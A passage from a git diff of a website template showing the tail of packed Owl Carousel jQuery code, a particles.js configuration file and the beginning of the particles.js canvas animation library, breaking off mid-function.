e=c;7(e.6.2p===j&&e.F.15!==j&&e.6.O!==b){e.$k.w("57",9(){e.X()});e.$k.w("58",9(){7(e.32!=="X"){e.19()}})}},1Z:9(){h t=c,n,r,i,s,o;7(t.6.1Z===b){p b}1A(n=0;n=t.m}l{o=j}7(o&&i=n.$S.N||r===-1){n.$S.1S(-1).5X(e)}l{n.$S.1S(r).5Y(e)}n.23()},5Z:9(e){h t=c,n;7(t.$k.25().N===0){p b}7(e===W||e===-1){n=-1}l{n=e}t.1V();t.$S.1S(n).3k();t.23()}};e.37.2B=9(t){p c.2f(9(){7(e(c).v("d-1N")===j){p b}e(c).v("d-1N",j);h n=3c.3q(r);n.1N(t,c);e.v(c,"2B",n)})};e.37.2B.6={q:5,1h:b,1s:[60,4],1O:[61,3],22:[62,2],1Q:b,1R:[63,1],48:b,46:b,1m:2M,1w:64,2v:65,O:b,2p:b,2a:b,2U:["1n","U"],2e:j,12:b,1v:j,39:b,2Z:j,45:2M,47:t,1M:"d-66",2i:"d-2i",1Z:b,4v:j,4x:"4y",1B:b,2O:b,33:b,3f:j,27:j,1U:j,2F:b,2o:b,3B:b,3D:b,2H:b,3s:b,1Y:b,3y:b,3w:b,2E:b,2T:b}})(67,68,69)',62,382,'||||||options|if||function||false|this|owl||||var||true|elem|else|currentItem|||return|items|||||data|on|||css|typeof|owlControls|0px|maximumItem|itemsAmount|browser|owlItems|class|addClass|positionsInArray|owlWrapper|div|itemWidth|length|autoPlay|transform|off|apply|userItems|left|next|px|undefined|stop|newRelativeX|removeClass||newPosX|scrollPerPage|prevItem|null|isTouch|ev_types|find|clearInterval|play|transition|disabled|setTimeout|target|loaded|width|goTo|itemsCustom|translate3d|page|paginationWrapper|preventDefault|slideSpeed|prev|append|wrapper|buttonNext|css2slide|itemsDesktop|swapSpeed|buttonPrev|pagination|paginationSpeed|support3d|dragDirection|ms|for|autoHeight|autoPlayInterval|visibleItems|isTransition|Math|webkit|wrapperOuter|hasClass|src|item|transition3d|baseClass|init|itemsDesktopSmall|origin|itemsTabletSmall|itemsMobile|eq|isCss3Finish|touchDrag|unWrap|moz|checkVisible|beforeMove|lazyLoad||mousedown|itemsTablet|setVars|roundPages|children|prevArr|mouseDrag|mouseup|isCssFinish|navigation|touches|pageX|active|rewindNav|each|jumpTo|position|theme|sliding|rewind|eachMoveUpdate|is|touchend|transitionStyle|stopOnHover|100|afterGo|ease|orignalItems|opacity|rewindSpeed|style|attr|html|addCssSpeed|userOptions|owlCarousel|all|push|startDragging|addClassActive|height|beforeInit|newPosY|end|move|targetElement|200|touchmove|jsonPath|offsetY|completeImg|offsetX|relativePos|afterLazyLoad|navigationText|updateItems|calculateAll|touchstart|string|responsive|updateControls|clearTransStyle|hoverStatus|jsonSuccess|moveDirection|checkPagination|endCurrent|fn|in|paginationNumbers|click|grabbing|Object|resizer|checkNavigation|dragBeforeAnimFinish|event|originalEvent|right|checkAp|remove|get|endPrev|visible|watchVisibility|Number|create|unwrap|afterInit|logIn|playDirection|max|afterAction|updateVars|afterMove|maximumPixels|apStatus|beforeUpdate|dragging|afterUpdate|pagesInArray|reload|clearEvents|removeTransition|doTranslate|show|hide|css2move|complete|span|cssText|updatePagination|gestures|disabledEvents|buildButtons|buildPagination|mousemove|touchcancel|start|disableTextSelect|min|loops|calculateWidth|pageY|appendWrapperSizes|appendItemsSizes|resize|responsiveRefreshRate|itemsScaleUp|responsiveBaseWidth|singleItem|outer|wrap|animate|srcElement|setInterval|drag|updatePosition|onVisibleItems|block|display|getNewPosition|disable|singleItemTransition|closestItem|transitionTypes|owlStatus|inArray|moveEvents|response|continue|buildControls|loading|lazyFollow|lazyPreload|lazyEffect|fade|onStartup|customEvents|wrapItems|eventTypes|naturalWidth|checkBrowser|originalClasses|outClass|inClass|originalStyles|abs|perspective|loadContent|extend|_data|round|msMaxTouchPoints|5e3|text|stopImmediatePropagation|stopPropagation|buttons|events|pop|splice|baseElWidth|minSwipe|maxSwipe|dargging|clientX|clientY|duration|destroyControls|createElement|mouseover|mouseout|numbers|which|lazyOwl|appendTo|clearTimeout|checked|shift|sort|removeAttr|match|fadeIn|400|clickable|toggleClass|wrapAll|top|prop|tagName|DIV|background|image|url|wrapperWidth|img|500|dragstart|ontouchstart|controls|out|input|relative|textarea|select|webkitAnimationEnd|oAnimationEnd|MSAnimationEnd|animationend|getJSON|returnValue|hasOwnProperty|option|onstartup|baseElement|navigator|new|prototype|destroy|removeData|reinit|addItem|after|before|removeItem|1199|979|768|479|800|1e3|carousel|jQuery|window|document'.split('|'),0,{}));$(window).on("scroll",function(){$(window).scrollTop()>=50?$(".sticky").addClass("stickyadd"):$(".sticky").removeClass("stickyadd")}),$(".navbar-nav a").on("click",function(a){var i=$(this);$("html, body").stop().animate({scrollTop:$(i.attr("href")).offset().top-0},1500,"easeInOutExpo"),a.preventDefault()}),$("#navbarCollapse").scrollspy({offset:20}),$("#owl-demo").owlCarousel({navigation:!1,slideSpeed:300,paginationSpeed:400,singleItem:!0}),$(".img-zoom"); \ No newline at end of file diff --git a/template/index7/assets/js/particles.app.js b/template/index7/assets/js/particles.app.js new file mode 100644 index 0000000..53339fb --- /dev/null +++ b/template/index7/assets/js/particles.app.js @@ -0,0 +1,104 @@ +particlesJS('home', + + { + "particles": { + "number": { + "value": 80, + "density": { + "enable": true, + "value_area": 800 + } + }, + "color": { + "value": "#ffffff" + }, + "shape": { + "type": "circle", + "stroke": { + "width": 0, + "color": "#000000" + }, + "polygon": { + "nb_sides": 5 + } + }, + "opacity": { + "value": 0.5, + "random": false, + "anim": { + "enable": false, + "speed": 1, + "opacity_min": 0.1, + "sync": false + } + }, + "size": { + "value": 5, + "random": true, + "anim": { + "enable": false, + "speed": 40, + "size_min": 0.1, + "sync": false + } + }, + "line_linked": { + "enable": true, + "distance": 150, + "color": "#ffffff", + "opacity": 0.4, + "width": 1 + }, + "move": { + "enable": true, + "speed": 6, + "direction": "none", + "random": false, + "straight": false, + "out_mode": "out", + "attract": { + "enable": false, + "rotateX": 600, + "rotateY": 1200 + } + } + }, + "interactivity": { + "detect_on": "canvas", + "modes": { + "grab": { + "distance": 400, + "line_linked": { + "opacity": 1 + } + }, + "bubble": { + "distance": 400, + "size": 40, + "duration": 2, + "opacity": 8, + "speed": 3 + }, + "repulse": { + "distance": 200 + }, + "push": { + "particles_nb": 4 + }, + "remove": { + "particles_nb": 2 + } + } + }, + "retina_detect": true, + "config_demo": { + "hide_card": false, + "background_color": "#b61924", + "background_image": "", + "background_position": "50% 50%", + "background_repeat": "no-repeat", + "background_size": "cover" + } + } + +); \ No newline at end of file diff --git a/template/index7/assets/js/particles.js b/template/index7/assets/js/particles.js new file mode 100644 index 0000000..8140f43 --- /dev/null +++ b/template/index7/assets/js/particles.js @@ -0,0 +1,1534 @@ +var pJS = function(tag_id, params){ + + var canvas_el = document.querySelector('#'+tag_id+' > .particles-js-canvas-el'); + + /* particles.js variables with default values */ + this.pJS = { + canvas: { + el: canvas_el, + w: canvas_el.offsetWidth, + h: canvas_el.offsetHeight + }, + particles: { + number: { + value: 400, + density: { + enable: true, + value_area: 800 + } + }, + color: { + value: '#fff' + }, + shape: { + type: 'circle', + stroke: { + width: 0, + color: '#ff0000' + }, + polygon: { + nb_sides: 5 + }, + image: { + src: '', + width: 100, + height: 100 + } + }, + opacity: { + value: 1, + random: false, + anim: { + enable: false, + speed: 2, + opacity_min: 0, + sync: false + } + }, + size: { + value: 20, + random: false, + anim: { + enable: false, + speed: 20, + size_min: 0, + sync: false + } + }, + line_linked: { + enable: true, + distance: 100, + color: '#fff', + opacity: 1, + width: 1 + }, + move: { + enable: true, + speed: 2, + direction: 'none', + random: false, + straight: false, + out_mode: 'out', + bounce: false, + attract: { + enable: false, + rotateX: 3000, + rotateY: 3000 + } + }, + array: [] + }, + interactivity: { + detect_on: 'canvas', + events: { + onhover: { + enable: true, + mode: 'grab' + }, + onclick: { + enable: true, + mode: 'push' + }, + resize: true + }, + modes: { + grab:{ + distance: 100, + line_linked:{ + opacity: 1 + } + }, + bubble:{ + distance: 200, + size: 80, + duration: 0.4 + }, + repulse:{ + distance: 200, + duration: 0.4 + }, + push:{ + particles_nb: 4 + }, + remove:{ + particles_nb: 2 + } + }, + mouse:{} + }, + retina_detect: false, + fn: { + interact: {}, + modes: {}, + vendors:{} + }, + tmp: {} + }; + + var pJS = this.pJS; + + /* params settings */ + if(params){ + Object.deepExtend(pJS, params); + } + + pJS.tmp.obj = { + size_value: pJS.particles.size.value, + size_anim_speed: pJS.particles.size.anim.speed, + move_speed: pJS.particles.move.speed, + line_linked_distance: pJS.particles.line_linked.distance, + line_linked_width: pJS.particles.line_linked.width, + mode_grab_distance: pJS.interactivity.modes.grab.distance, + mode_bubble_distance: pJS.interactivity.modes.bubble.distance, + mode_bubble_size: pJS.interactivity.modes.bubble.size, + mode_repulse_distance: pJS.interactivity.modes.repulse.distance + }; + + + pJS.fn.retinaInit = function(){ + + if(pJS.retina_detect && window.devicePixelRatio > 1){ + pJS.canvas.pxratio = window.devicePixelRatio; + pJS.tmp.retina = true; + } + else{ + pJS.canvas.pxratio = 1; + pJS.tmp.retina = false; + } + + pJS.canvas.w = pJS.canvas.el.offsetWidth * pJS.canvas.pxratio; + pJS.canvas.h = pJS.canvas.el.offsetHeight * pJS.canvas.pxratio; + + pJS.particles.size.value = pJS.tmp.obj.size_value * pJS.canvas.pxratio; + pJS.particles.size.anim.speed = pJS.tmp.obj.size_anim_speed * pJS.canvas.pxratio; + pJS.particles.move.speed = pJS.tmp.obj.move_speed * pJS.canvas.pxratio; + pJS.particles.line_linked.distance = pJS.tmp.obj.line_linked_distance * pJS.canvas.pxratio; + pJS.interactivity.modes.grab.distance = pJS.tmp.obj.mode_grab_distance * pJS.canvas.pxratio; + pJS.interactivity.modes.bubble.distance = pJS.tmp.obj.mode_bubble_distance * pJS.canvas.pxratio; + pJS.particles.line_linked.width = pJS.tmp.obj.line_linked_width * pJS.canvas.pxratio; + pJS.interactivity.modes.bubble.size = pJS.tmp.obj.mode_bubble_size * pJS.canvas.pxratio; + pJS.interactivity.modes.repulse.distance = pJS.tmp.obj.mode_repulse_distance * pJS.canvas.pxratio; + + }; + + + + /* ---------- pJS functions - canvas ------------ */ + + pJS.fn.canvasInit = function(){ + pJS.canvas.ctx = pJS.canvas.el.getContext('2d'); + }; + + pJS.fn.canvasSize = function(){ + + pJS.canvas.el.width = pJS.canvas.w; + pJS.canvas.el.height = pJS.canvas.h; + + if(pJS && pJS.interactivity.events.resize){ + + window.addEventListener('resize', function(){ + + pJS.canvas.w = pJS.canvas.el.offsetWidth; + pJS.canvas.h = pJS.canvas.el.offsetHeight; + + /* resize canvas */ + if(pJS.tmp.retina){ + pJS.canvas.w *= pJS.canvas.pxratio; + pJS.canvas.h *= pJS.canvas.pxratio; + } + + pJS.canvas.el.width = pJS.canvas.w; + pJS.canvas.el.height = pJS.canvas.h; + + /* repaint canvas on anim disabled */ + if(!pJS.particles.move.enable){ + pJS.fn.particlesEmpty(); + pJS.fn.particlesCreate(); + pJS.fn.particlesDraw(); + pJS.fn.vendors.densityAutoParticles(); + } + + /* density particles enabled */ + pJS.fn.vendors.densityAutoParticles(); + + }); + + } + + }; + + + pJS.fn.canvasPaint = function(){ + pJS.canvas.ctx.fillRect(0, 0, pJS.canvas.w, pJS.canvas.h); + }; + + pJS.fn.canvasClear = function(){ + pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h); + }; + + + /* --------- pJS functions - particles ----------- */ + + pJS.fn.particle = function(color, opacity, position){ + + /* size */ + this.radius = (pJS.particles.size.random ? Math.random() : 1) * pJS.particles.size.value; + if(pJS.particles.size.anim.enable){ + this.size_status = false; + this.vs = pJS.particles.size.anim.speed / 100; + if(!pJS.particles.size.anim.sync){ + this.vs = this.vs * Math.random(); + } + } + + /* position */ + this.x = position ? position.x : Math.random() * pJS.canvas.w; + this.y = position ? position.y : Math.random() * pJS.canvas.h; + + /* check position - into the canvas */ + if(this.x > pJS.canvas.w - this.radius*2) this.x = this.x - this.radius; + else if(this.x < this.radius*2) this.x = this.x + this.radius; + if(this.y > pJS.canvas.h - this.radius*2) this.y = this.y - this.radius; + else if(this.y < this.radius*2) this.y = this.y + this.radius; + + /* check position - avoid overlap */ + if(pJS.particles.move.bounce){ + pJS.fn.vendors.checkOverlap(this, position); + } + + /* color */ + this.color = {}; + if(typeof(color.value) == 'object'){ + + if(color.value instanceof Array){ + var color_selected = color.value[Math.floor(Math.random() * pJS.particles.color.value.length)]; + this.color.rgb = hexToRgb(color_selected); + }else{ + if(color.value.r != undefined && color.value.g != undefined && color.value.b != undefined){ + this.color.rgb = { + r: color.value.r, + g: color.value.g, + b: color.value.b + } + } + if(color.value.h != undefined && color.value.s != undefined && color.value.l != undefined){ + this.color.hsl = { + h: color.value.h, + s: color.value.s, + l: color.value.l + } + } + } + + } + else if(color.value == 'random'){ + this.color.rgb = { + r: (Math.floor(Math.random() * (255 - 0 + 1)) + 0), + g: (Math.floor(Math.random() * (255 - 0 + 1)) + 0), + b: (Math.floor(Math.random() * (255 - 0 + 1)) + 0) + } + } + else if(typeof(color.value) == 'string'){ + this.color = color; + this.color.rgb = hexToRgb(this.color.value); + } + + /* opacity */ + this.opacity = (pJS.particles.opacity.random ? Math.random() : 1) * pJS.particles.opacity.value; + if(pJS.particles.opacity.anim.enable){ + this.opacity_status = false; + this.vo = pJS.particles.opacity.anim.speed / 100; + if(!pJS.particles.opacity.anim.sync){ + this.vo = this.vo * Math.random(); + } + } + + /* animation - velocity for speed */ + var velbase = {} + switch(pJS.particles.move.direction){ + case 'top': + velbase = { x:0, y:-1 }; + break; + case 'top-right': + velbase = { x:0.5, y:-0.5 }; + break; + case 'right': + velbase = { x:1, y:-0 }; + break; + case 'bottom-right': + velbase = { x:0.5, y:0.5 }; + break; + case 'bottom': + velbase = { x:0, y:1 }; + break; + case 'bottom-left': + velbase = { x:-0.5, y:1 }; + break; + case 'left': + velbase = { x:-1, y:0 }; + break; + case 'top-left': + velbase = { x:-0.5, y:-0.5 }; + break; + default: + velbase = { x:0, y:0 }; + break; + } + + if(pJS.particles.move.straight){ + this.vx = velbase.x; + this.vy = velbase.y; + if(pJS.particles.move.random){ + this.vx = this.vx * (Math.random()); + this.vy = this.vy * (Math.random()); + } + }else{ + this.vx = velbase.x + Math.random()-0.5; + this.vy = velbase.y + Math.random()-0.5; + } + + // var theta = 2.0 * Math.PI * Math.random(); + // this.vx = Math.cos(theta); + // this.vy = Math.sin(theta); + + this.vx_i = this.vx; + this.vy_i = this.vy; + + + + /* if shape is image */ + + var shape_type = pJS.particles.shape.type; + if(typeof(shape_type) == 'object'){ + if(shape_type instanceof Array){ + var shape_selected = shape_type[Math.floor(Math.random() * shape_type.length)]; + this.shape = shape_selected; + } + }else{ + this.shape = shape_type; + } + + if(this.shape == 'image'){ + var sh = pJS.particles.shape; + this.img = { + src: sh.image.src, + ratio: sh.image.width / sh.image.height + } + if(!this.img.ratio) this.img.ratio = 1; + if(pJS.tmp.img_type == 'svg' && pJS.tmp.source_svg != undefined){ + pJS.fn.vendors.createSvgImg(this); + if(pJS.tmp.pushing){ + this.img.loaded = false; + } + } + } + + + + }; + + + pJS.fn.particle.prototype.draw = function() { + + var p = this; + + if(p.radius_bubble != undefined){ + var radius = p.radius_bubble; + }else{ + var radius = p.radius; + } + + if(p.opacity_bubble != undefined){ + var opacity = p.opacity_bubble; + }else{ + var opacity = p.opacity; + } + + if(p.color.rgb){ + var color_value = 'rgba('+p.color.rgb.r+','+p.color.rgb.g+','+p.color.rgb.b+','+opacity+')'; + }else{ + var color_value = 'hsla('+p.color.hsl.h+','+p.color.hsl.s+'%,'+p.color.hsl.l+'%,'+opacity+')'; + } + + pJS.canvas.ctx.fillStyle = color_value; + pJS.canvas.ctx.beginPath(); + + switch(p.shape){ + + case 'circle': + pJS.canvas.ctx.arc(p.x, p.y, radius, 0, Math.PI * 2, false); + break; + + case 'edge': + pJS.canvas.ctx.rect(p.x-radius, p.y-radius, radius*2, radius*2); + break; + + case 'triangle': + pJS.fn.vendors.drawShape(pJS.canvas.ctx, p.x-radius, p.y+radius / 1.66, radius*2, 3, 2); + break; + + case 'polygon': + pJS.fn.vendors.drawShape( + pJS.canvas.ctx, + p.x - radius / (pJS.particles.shape.polygon.nb_sides/3.5), // startX + p.y - radius / (2.66/3.5), // startY + radius*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength + pJS.particles.shape.polygon.nb_sides, // sideCountNumerator + 1 // sideCountDenominator + ); + break; + + case 'star': + pJS.fn.vendors.drawShape( + pJS.canvas.ctx, + p.x - radius*2 / (pJS.particles.shape.polygon.nb_sides/4), // startX + p.y - radius / (2*2.66/3.5), // startY + radius*2*2.66 / (pJS.particles.shape.polygon.nb_sides/3), // sideLength + pJS.particles.shape.polygon.nb_sides, // sideCountNumerator + 2 // sideCountDenominator + ); + break; + + case 'image': + + function draw(){ + pJS.canvas.ctx.drawImage( + img_obj, + p.x-radius, + p.y-radius, + radius*2, + radius*2 / p.img.ratio + ); + } + + if(pJS.tmp.img_type == 'svg'){ + var img_obj = p.img.obj; + }else{ + var img_obj = pJS.tmp.img_obj; + } + + if(img_obj){ + draw(); + } + + break; + + } + + pJS.canvas.ctx.closePath(); + + if(pJS.particles.shape.stroke.width > 0){ + pJS.canvas.ctx.strokeStyle = pJS.particles.shape.stroke.color; + pJS.canvas.ctx.lineWidth = pJS.particles.shape.stroke.width; + pJS.canvas.ctx.stroke(); + } + + pJS.canvas.ctx.fill(); + + }; + + + pJS.fn.particlesCreate = function(){ + for(var i = 0; i < pJS.particles.number.value; i++) { + pJS.particles.array.push(new pJS.fn.particle(pJS.particles.color, pJS.particles.opacity.value)); + } + }; + + pJS.fn.particlesUpdate = function(){ + + for(var i = 0; i < pJS.particles.array.length; i++){ + + /* the particle */ + var p = pJS.particles.array[i]; + + // var d = ( dx = pJS.interactivity.mouse.click_pos_x - p.x ) * dx + ( dy = pJS.interactivity.mouse.click_pos_y - p.y ) * dy; + // var f = -BANG_SIZE / d; + // if ( d < BANG_SIZE ) { + // var t = Math.atan2( dy, dx ); + // p.vx = f * Math.cos(t); + // p.vy = f * Math.sin(t); + // } + + /* move the particle */ + if(pJS.particles.move.enable){ + var ms = pJS.particles.move.speed/2; + p.x += p.vx * ms; + p.y += p.vy * ms; + } + + /* change opacity status */ + if(pJS.particles.opacity.anim.enable) { + if(p.opacity_status == true) { + if(p.opacity >= pJS.particles.opacity.value) p.opacity_status = false; + p.opacity += p.vo; + }else { + if(p.opacity <= pJS.particles.opacity.anim.opacity_min) p.opacity_status = true; + p.opacity -= p.vo; + } + if(p.opacity < 0) p.opacity = 0; + } + + /* change size */ + if(pJS.particles.size.anim.enable){ + if(p.size_status == true){ + if(p.radius >= pJS.particles.size.value) p.size_status = false; + p.radius += p.vs; + }else{ + if(p.radius <= pJS.particles.size.anim.size_min) p.size_status = true; + p.radius -= p.vs; + } + if(p.radius < 0) p.radius = 0; + } + + /* change particle position if it is out of canvas */ + if(pJS.particles.move.out_mode == 'bounce'){ + var new_pos = { + x_left: p.radius, + x_right: pJS.canvas.w, + y_top: p.radius, + y_bottom: pJS.canvas.h + } + }else{ + var new_pos = { + x_left: -p.radius, + x_right: pJS.canvas.w + p.radius, + y_top: -p.radius, + y_bottom: pJS.canvas.h + p.radius + } + } + + if(p.x - p.radius > pJS.canvas.w){ + p.x = new_pos.x_left; + p.y = Math.random() * pJS.canvas.h; + } + else if(p.x + p.radius < 0){ + p.x = new_pos.x_right; + p.y = Math.random() * pJS.canvas.h; + } + if(p.y - p.radius > pJS.canvas.h){ + p.y = new_pos.y_top; + p.x = Math.random() * pJS.canvas.w; + } + else if(p.y + p.radius < 0){ + p.y = new_pos.y_bottom; + p.x = Math.random() * pJS.canvas.w; + } + + /* out of canvas modes */ + switch(pJS.particles.move.out_mode){ + case 'bounce': + if (p.x + p.radius > pJS.canvas.w) p.vx = -p.vx; + else if (p.x - p.radius < 0) p.vx = -p.vx; + if (p.y + p.radius > pJS.canvas.h) p.vy = -p.vy; + else if (p.y - p.radius < 0) p.vy = -p.vy; + break; + } + + /* events */ + if(isInArray('grab', pJS.interactivity.events.onhover.mode)){ + pJS.fn.modes.grabParticle(p); + } + + if(isInArray('bubble', pJS.interactivity.events.onhover.mode) || isInArray('bubble', pJS.interactivity.events.onclick.mode)){ + pJS.fn.modes.bubbleParticle(p); + } + + if(isInArray('repulse', pJS.interactivity.events.onhover.mode) || isInArray('repulse', pJS.interactivity.events.onclick.mode)){ + pJS.fn.modes.repulseParticle(p); + } + + /* interaction auto between particles */ + if(pJS.particles.line_linked.enable || pJS.particles.move.attract.enable){ + for(var j = i + 1; j < pJS.particles.array.length; j++){ + var p2 = pJS.particles.array[j]; + + /* link particles */ + if(pJS.particles.line_linked.enable){ + pJS.fn.interact.linkParticles(p,p2); + } + + /* attract particles */ + if(pJS.particles.move.attract.enable){ + pJS.fn.interact.attractParticles(p,p2); + } + + /* bounce particles */ + if(pJS.particles.move.bounce){ + pJS.fn.interact.bounceParticles(p,p2); + } + + } + } + + + } + + }; + + pJS.fn.particlesDraw = function(){ + + /* clear canvas */ + pJS.canvas.ctx.clearRect(0, 0, pJS.canvas.w, pJS.canvas.h); + + /* update each particles param */ + pJS.fn.particlesUpdate(); + + /* draw each particle */ + for(var i = 0; i < pJS.particles.array.length; i++){ + var p = pJS.particles.array[i]; + p.draw(); + } + + }; + + pJS.fn.particlesEmpty = function(){ + pJS.particles.array = []; + }; + + pJS.fn.particlesRefresh = function(){ + + /* init all */ + cancelRequestAnimFrame(pJS.fn.checkAnimFrame); + cancelRequestAnimFrame(pJS.fn.drawAnimFrame); + pJS.tmp.source_svg = undefined; + pJS.tmp.img_obj = undefined; + pJS.tmp.count_svg = 0; + pJS.fn.particlesEmpty(); + pJS.fn.canvasClear(); + + /* restart */ + pJS.fn.vendors.start(); + + }; + + + /* ---------- pJS functions - particles interaction ------------ */ + + pJS.fn.interact.linkParticles = function(p1, p2){ + + var dx = p1.x - p2.x, + dy = p1.y - p2.y, + dist = Math.sqrt(dx*dx + dy*dy); + + /* draw a line between p1 and p2 if the distance between them is under the config distance */ + if(dist <= pJS.particles.line_linked.distance){ + + var opacity_line = pJS.particles.line_linked.opacity - (dist / (1/pJS.particles.line_linked.opacity)) / pJS.particles.line_linked.distance; + + if(opacity_line > 0){ + + /* style */ + var color_line = pJS.particles.line_linked.color_rgb_line; + pJS.canvas.ctx.strokeStyle = 'rgba('+color_line.r+','+color_line.g+','+color_line.b+','+opacity_line+')'; + pJS.canvas.ctx.lineWidth = pJS.particles.line_linked.width; + //pJS.canvas.ctx.lineCap = 'round'; /* performance issue */ + + /* path */ + pJS.canvas.ctx.beginPath(); + pJS.canvas.ctx.moveTo(p1.x, p1.y); + pJS.canvas.ctx.lineTo(p2.x, p2.y); + pJS.canvas.ctx.stroke(); + pJS.canvas.ctx.closePath(); + + } + + } + + }; + + + pJS.fn.interact.attractParticles = function(p1, p2){ + + /* condensed particles */ + var dx = p1.x - p2.x, + dy = p1.y - p2.y, + dist = Math.sqrt(dx*dx + dy*dy); + + if(dist <= pJS.particles.line_linked.distance){ + + var ax = dx/(pJS.particles.move.attract.rotateX*1000), + ay = dy/(pJS.particles.move.attract.rotateY*1000); + + p1.vx -= ax; + p1.vy -= ay; + + p2.vx += ax; + p2.vy += ay; + + } + + + } + + + pJS.fn.interact.bounceParticles = function(p1, p2){ + + var dx = p1.x - p2.x, + dy = p1.y - p2.y, + dist = Math.sqrt(dx*dx + dy*dy), + dist_p = p1.radius+p2.radius; + + if(dist <= dist_p){ + p1.vx = -p1.vx; + p1.vy = -p1.vy; + + p2.vx = -p2.vx; + p2.vy = -p2.vy; + } + + } + + + /* ---------- pJS functions - modes events ------------ */ + + pJS.fn.modes.pushParticles = function(nb, pos){ + + pJS.tmp.pushing = true; + + for(var i = 0; i < nb; i++){ + pJS.particles.array.push( + new pJS.fn.particle( + pJS.particles.color, + pJS.particles.opacity.value, + { + 'x': pos ? pos.pos_x : Math.random() * pJS.canvas.w, + 'y': pos ? pos.pos_y : Math.random() * pJS.canvas.h + } + ) + ) + if(i == nb-1){ + if(!pJS.particles.move.enable){ + pJS.fn.particlesDraw(); + } + pJS.tmp.pushing = false; + } + } + + }; + + + pJS.fn.modes.removeParticles = function(nb){ + + pJS.particles.array.splice(0, nb); + if(!pJS.particles.move.enable){ + pJS.fn.particlesDraw(); + } + + }; + + + pJS.fn.modes.bubbleParticle = function(p){ + + /* on hover event */ + if(pJS.interactivity.events.onhover.enable && isInArray('bubble', pJS.interactivity.events.onhover.mode)){ + + var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, + dy_mouse = p.y - pJS.interactivity.mouse.pos_y, + dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse), + ratio = 1 - dist_mouse / pJS.interactivity.modes.bubble.distance; + + function init(){ + p.opacity_bubble = p.opacity; + p.radius_bubble = p.radius; + } + + /* mousemove - check ratio */ + if(dist_mouse <= pJS.interactivity.modes.bubble.distance){ + + if(ratio >= 0 && pJS.interactivity.status == 'mousemove'){ + + /* size */ + if(pJS.interactivity.modes.bubble.size != pJS.particles.size.value){ + + if(pJS.interactivity.modes.bubble.size > pJS.particles.size.value){ + var size = p.radius + (pJS.interactivity.modes.bubble.size*ratio); + if(size >= 0){ + p.radius_bubble = size; + } + }else{ + var dif = p.radius - pJS.interactivity.modes.bubble.size, + size = p.radius - (dif*ratio); + if(size > 0){ + p.radius_bubble = size; + }else{ + p.radius_bubble = 0; + } + } + + } + + /* opacity */ + if(pJS.interactivity.modes.bubble.opacity != pJS.particles.opacity.value){ + + if(pJS.interactivity.modes.bubble.opacity > pJS.particles.opacity.value){ + var opacity = pJS.interactivity.modes.bubble.opacity*ratio; + if(opacity > p.opacity && opacity <= pJS.interactivity.modes.bubble.opacity){ + p.opacity_bubble = opacity; + } + }else{ + var opacity = p.opacity - (pJS.particles.opacity.value-pJS.interactivity.modes.bubble.opacity)*ratio; + if(opacity < p.opacity && opacity >= pJS.interactivity.modes.bubble.opacity){ + p.opacity_bubble = opacity; + } + } + + } + + } + + }else{ + init(); + } + + + /* mouseleave */ + if(pJS.interactivity.status == 'mouseleave'){ + init(); + } + + } + + /* on click event */ + else if(pJS.interactivity.events.onclick.enable && isInArray('bubble', pJS.interactivity.events.onclick.mode)){ + + + if(pJS.tmp.bubble_clicking){ + var dx_mouse = p.x - pJS.interactivity.mouse.click_pos_x, + dy_mouse = p.y - pJS.interactivity.mouse.click_pos_y, + dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse), + time_spent = (new Date().getTime() - pJS.interactivity.mouse.click_time)/1000; + + if(time_spent > pJS.interactivity.modes.bubble.duration){ + pJS.tmp.bubble_duration_end = true; + } + + if(time_spent > pJS.interactivity.modes.bubble.duration*2){ + pJS.tmp.bubble_clicking = false; + pJS.tmp.bubble_duration_end = false; + } + } + + + function process(bubble_param, particles_param, p_obj_bubble, p_obj, id){ + + if(bubble_param != particles_param){ + + if(!pJS.tmp.bubble_duration_end){ + if(dist_mouse <= pJS.interactivity.modes.bubble.distance){ + if(p_obj_bubble != undefined) var obj = p_obj_bubble; + else var obj = p_obj; + if(obj != bubble_param){ + var value = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration); + if(id == 'size') p.radius_bubble = value; + if(id == 'opacity') p.opacity_bubble = value; + } + }else{ + if(id == 'size') p.radius_bubble = undefined; + if(id == 'opacity') p.opacity_bubble = undefined; + } + }else{ + if(p_obj_bubble != undefined){ + var value_tmp = p_obj - (time_spent * (p_obj - bubble_param) / pJS.interactivity.modes.bubble.duration), + dif = bubble_param - value_tmp; + value = bubble_param + dif; + if(id == 'size') p.radius_bubble = value; + if(id == 'opacity') p.opacity_bubble = value; + } + } + + } + + } + + if(pJS.tmp.bubble_clicking){ + /* size */ + process(pJS.interactivity.modes.bubble.size, pJS.particles.size.value, p.radius_bubble, p.radius, 'size'); + /* opacity */ + process(pJS.interactivity.modes.bubble.opacity, pJS.particles.opacity.value, p.opacity_bubble, p.opacity, 'opacity'); + } + + } + + }; + + + pJS.fn.modes.repulseParticle = function(p){ + + if(pJS.interactivity.events.onhover.enable && isInArray('repulse', pJS.interactivity.events.onhover.mode) && pJS.interactivity.status == 'mousemove') { + + var dx_mouse = p.x - pJS.interactivity.mouse.pos_x, + dy_mouse = p.y - pJS.interactivity.mouse.pos_y, + dist_mouse = Math.sqrt(dx_mouse*dx_mouse + dy_mouse*dy_mouse); + + var normVec = {x: dx_mouse/dist_mouse, y: dy_mouse/dist_mouse}, + repulseRadius = pJS.interactivity.modes.repulse.distance, + velocity = 100, + repulseFactor = clamp((1/repulseRadius)*(-1*Math.pow(dist_mouse/repulseRadius,2)+1)*repulseRadius*velocity, 0, 50); + + var pos = { + x: p.x + normVec.x * repulseFactor, + y: p.y + normVec.y * repulseFactor + } + + if(pJS.particles.move.out_mode == 'bounce'){ + if(pos.x - p.radius > 0 && pos.x + p.radius < pJS.canvas.w) p.x = pos.x; + if(pos.y - p.radius > 0 && pos.y + p.radius < pJS.canvas.h) p.y = pos.y; + }else{ + p.x = pos.x; + p.y = pos.y; + } + + } + + + else if(pJS.interactivity.events.onclick.enable && isInArray('repulse', pJS.interactivity.events.onclick.mode)) { + + if(!pJS.tmp.repulse_finish){ + pJS.tmp.repulse_count++; + if(pJS.tmp.repulse_count == pJS.particles.array.length){ + pJS.tmp.repulse_finish = true; + } + } + + if(pJS.tmp.repulse_clicking){ + + var repulseRadius = 